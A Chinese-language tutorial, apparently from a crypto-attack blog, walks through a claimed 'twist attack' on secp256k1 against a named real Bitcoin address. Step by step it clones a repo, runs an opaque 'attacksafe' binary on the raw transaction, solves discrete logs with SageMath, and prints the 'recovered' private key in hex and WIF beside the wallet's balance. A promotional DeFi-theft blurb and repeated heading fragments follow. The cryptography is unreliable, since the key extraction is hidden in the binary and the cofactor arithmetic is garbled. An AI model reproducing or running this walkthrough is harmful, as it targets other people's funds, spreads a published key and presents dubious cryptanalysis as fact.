Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

在本文中，我們將使用示例#2 實現扭曲攻擊，根據文章的第一理論部分，我們確保借助 secp256k1 橢圓曲線上的某些點，我們可以獲得部分值私鑰並在 5-15 分鐘內使用“Sagemath pollard rho 函數：(discrete_log_rho)”和“中國剩餘定理”恢復比特幣錢包。

讓我們繼續進行一系列 ECC 操作，因為這些特定點是 secp256k1 橢圓曲線上的惡意選擇點

Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值 — https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md

根據 Paulo Barreto 的推文：https://twitter.com/pbarreto/status/825703772382908416 ?s=21

餘因子為3^213^23319*22639

E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447

38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031

HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5

在運行Twist Attack時，可以通過對“公鑰”（secp256k1 橢圓曲線的選定點）進行一定的選擇來獲得“私鑰”，即揭示交易中的價值。之後，關於私鑰的信息也會被洩露，但是為此你需要執行幾個 ECC 操作。

E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6

y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0  = x³ + 0  + 7
b '= -x ^ 3 - ax.

所有點都(x, 0) 落在無效曲線上 b '= -x ^ 3 - ax

讓我們繼續進行實驗部分：

（考慮一個比特幣地址）

1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx

（現在考慮關鍵易受攻擊的交易）

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9

打開 [TerminalGoogleColab]。

使用我們的18TwistAttack存儲庫實施Twist Attack算法

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls

安裝我們需要的所有包

requirements.txt

sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt

為攻擊準備 RawTX

1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx

https://btc1.trezor.io/tx/60918fd82894eb94c71a9c10057ffe9d8a82074426f596dcbc759d676c886ae9

RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

保存在文件中：RawTX.txt

為了實施攻擊，我們將使用“ATTACKSAFE SOFTWARE”軟件

訪問權限：

chmod +x attacksafe

應用：

./attacksafe -help

  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

./attacksafe -version

"ATTACKSAFE SOFTWARE" 包括對比特幣的所有流行攻擊。

讓我們列出所有攻擊：

./attacksafe -list

讓我們選擇 -tool: twist_attack

為了從易受攻擊的 ECDSA 簽名交易中獲取特定的 secp256k1 點，我們將數據添加 RawTX 到文本文檔中並將其保存為文件 RawTX.txt

01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

`-tool twist_attack` 使用軟件啟動 `“ATTACKSAFE SOFTWARE”`

./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt

我們發起了這次攻擊 -tool twist_attack 並將結果保存到一個文件中 SecretPoints.txt

現在看到成功的結果，打開文件 SecretPoints.txt

cat SecretPoints.txt

結果：

Elliptic Curve Secret Points:

Q11 = E1([97072073026593516785986136148833105674452542501015145216961054272876839453879, 107567253371779495307521678088935176637661904239924771700494716430774957820966])
Q21 = E2([3350296768277877304391506547616361976369787138559008027651808311357100316617, 72988900267653266243491077449097157591503403928437340215197819240911749073070])
Q22 = E2([112520741232779465095566100761481226712887911875949213866586208031790667764851, 67821409607391406974451792678186486803604797717916857589728259410989018828088])
Q31 = E3([19221018445349571002768878066568778104356611670224206148889744255553888839368, 51911948202474460182474729837629287426170495064721963100930541018009108314113])
Q32 = E3([41890177480111283990531243647299980511217563319657594412233172058507418746086, 50666391602993122126388747247624601309616370399604218474818855509093287774278])
Q33 = E3([42268931450354181048145324837791859216268206183479474730830244807012122440868, 106203099208900270966718494579849900683595613889332211248945862977592813439569])
Q41 = E4([54499795016623216633513895020095562919782606390420118477101689814601700532150, 105485166437855743326869509276555834707863666622073705127774354124823038313021])
Q61 = E6([62124953527279820718051689027867102514830975577976669973362563656149003510557, 100989088237897158673340534473118617341737987866593944452056172771683426720481])
Q62 = E6([86907281605062616221251901813989896824116536666883529138776205878798949076805, 19984923138198085750026187300638434023309806045826685297245727280111269894421])
Q63 = E6([66063410534588649374156935204077330523666149907425414249132071271750455781006, 25315648259518110320341360730017389015499807179224601293064633820188666088920])
Q64 = E6([109180854384525934106792159822888807664445139819154775748567618515646342974321, 102666617356998521143219293179463920284010473849613907153669896702897252016986])


RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

現在讓我們添加收到的 secp256k1 點

為此，打開Python-script: discrete.py

運行Python-script: discrete.py安裝SageMath

安裝命令：

sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath

通過命令檢查SageMath的安裝：sage -v

要求解離散對數，(Pollard's rho algorithm for logarithms)請運行Python-script: discrete.py

運行命令：

sage -python3 discrete.py

結果：

Discrete_log_rho:

14996641256
1546
19575
31735
9071789
145517682
11552
7151
3370711
10797447604
10120546250224

PRIVATE KEY:

3160389728152122137789469305939632411648887242506549174582525524562820572318

privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

我們解決了離散對數並使用“中國剩餘定理 (Chinese remainder theorem)”得到了十進制格式的私鑰。

將私鑰轉換為 HEX 格式

私鑰的十進制格式已保存到文件中： privkey.txt

運行 Python 腳本：privkey2hex.py

python3 privkey2hex.py
cat privkey2hex.txt

讓我們打開生成的文件： privkey2hex.txt

十六進制格式的私鑰：

PrivKey = 06fcb79a2eabffa519509e43b7de95bc2df15ca48fe6be29f9160bcd6ac1a49e

讓我們打開 bitaddress 並檢查：

ADDR: 1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx
WIF:  KwTHx3AhV8qiN6qyfG1D85TGEeUBiaMUjnQ11eVLP5NAfiVNLLmS
HEX:  06FCB79A2EABFFA519509E43B7DE95BC2DF15CA48FE6BE29F9160BCD6AC1A49E

https://live.blockcypher.com/widget/btc/1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx/received/

https://live.blockcypher.com/btc/address/1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx/

BALANCE: $ 902.52

來源

攻擊安全軟件

電報：https://t.me/cryptodeeptech

視頻素材：https://youtu.be/pOviZOYItv4

來源：https://cryptodeep.ru/twist-attack-2

密碼分析

Crypto Deep Tech

DeFi 攻擊和利用 2021 年至 2022 年所有最大的加密貨幣盜竊案

https://www.youtube.com/embed/2bt71AB2Amw 在本文中，我們將向您介紹與платформой DeFi. 黑客在 2021 年度過了一個大年，他們竊取了價值 32 億美元的加密貨幣。但在 2022 年，加密貨幣的盜竊數量達到了歷史最高水平。今年前三個月，黑客從交易所、平台和個人那裡竊取了 13 億美元，受害者人數也相應地不成比例платформу DeFi。什麼是去中心化金融？ DeFi是建立在區塊鏈上的服務和應用程序形式的金融工具。去中心化金融的主要任務是成為銀行業的替代品，用開源協議替代當前金融體系的傳統技術。也就是說，向大量人開放去中心化借貸和新投資平台，並允許他們從加密貨幣資產中獲得被動收入。 2022 年前三個月被盜的所有加密貨幣中有近 97% 來自 DeFi 協議，高於 2021 年的 72% 和 2020 年的 30%。代碼漏洞正成為越來越普遍的攻擊媒介，但安全漏洞仍然存在。過去，加密貨幣黑客攻擊主要是安全漏洞的結果，黑客可以訪問受害者的私鑰——這相當於扒竊的加密貨幣。然而，特別是對於 DeFi 協議，最大的盜竊通常來自錯誤代碼。“代碼利用”和“閃電貸攻擊”——一種與操縱加密貨幣價格相關的代碼利用——佔了大部分成本。大多數現有的 DeFi 都建立在以太坊區塊鏈上，並且新的去中心化金融應用的數量正在穩步增長。DeFi 使用區塊鏈領域開發的各種技術。它們都有去中心化金融之外的應用，但在 DeFi 生態系統中發揮著重要作用。首先， DeFi項目是區塊鏈，是記錄交易的分佈式賬本。目前，由於以太坊網絡的功能和在開發人員中的受歡迎程度，大多數 DeFi 服務都在以太坊網絡上運行。然而，其他區塊鏈上的 DeFi 活動也在增長。接下來是數字資產，即代表可以在區塊鍊網絡上出售或轉移的價值的 DeFi 代幣。“比特幣和其他加密貨幣是第一個基於區塊鏈的數字資產。代碼漏洞的發生有多種原因。首先，與 DeFi 去中心化和透明化的信念相一致，開源開發是 DeFi 應用程序的主要內容。這是一個重要且普遍積極的趨勢：由於 DeFi 協議無需人工干預即可轉移資金，因此用戶應該能夠驗證底層代碼以信任該協議。但它也有利於網絡犯罪分子，他們可以分析漏洞場景並提前計劃攻擊。浪人網絡受害者被盜金額（美元）服務類型黑客類型描述浪人網絡6.25億美元DeFi 平台安全漏洞攻擊者獲得了交易驗證者九個私鑰中的五個的訪問權限，然後使用多數來確認 ETH 和 USDC 中的資金提取。 Axie…

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Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

餘因子為3^213^23319*22639

讓我們繼續進行實驗部分：

安裝我們需要的所有包

為攻擊準備 RawTX

保存在文件中：RawTX.txt

訪問權限：

應用：

讓我們列出所有攻擊：

`-tool twist_attack` 使用軟件啟動 `“ATTACKSAFE SOFTWARE”`

結果：

現在讓我們添加收到的 secp256k1 點

安裝命令：

通過命令檢查SageMath的安裝：sage -v

運行命令：

結果：

將私鑰轉換為 HEX 格式

運行 Python 腳本：privkey2hex.py

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讓我們繼續進行實驗部分：

安裝我們需要的所有包

為攻擊準備 RawTX

保存在文件中：RawTX.txt

訪問權限：

應用：

讓我們列出所有攻擊：

-tool twist_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”

結果：

現在讓我們添加收到的 secp256k1 點

安裝命令：

通過命令檢查SageMath的安裝：sage -v

運行命令：

結果：

將私鑰轉換為 HEX 格式

運行 Python 腳本：privkey2hex.py

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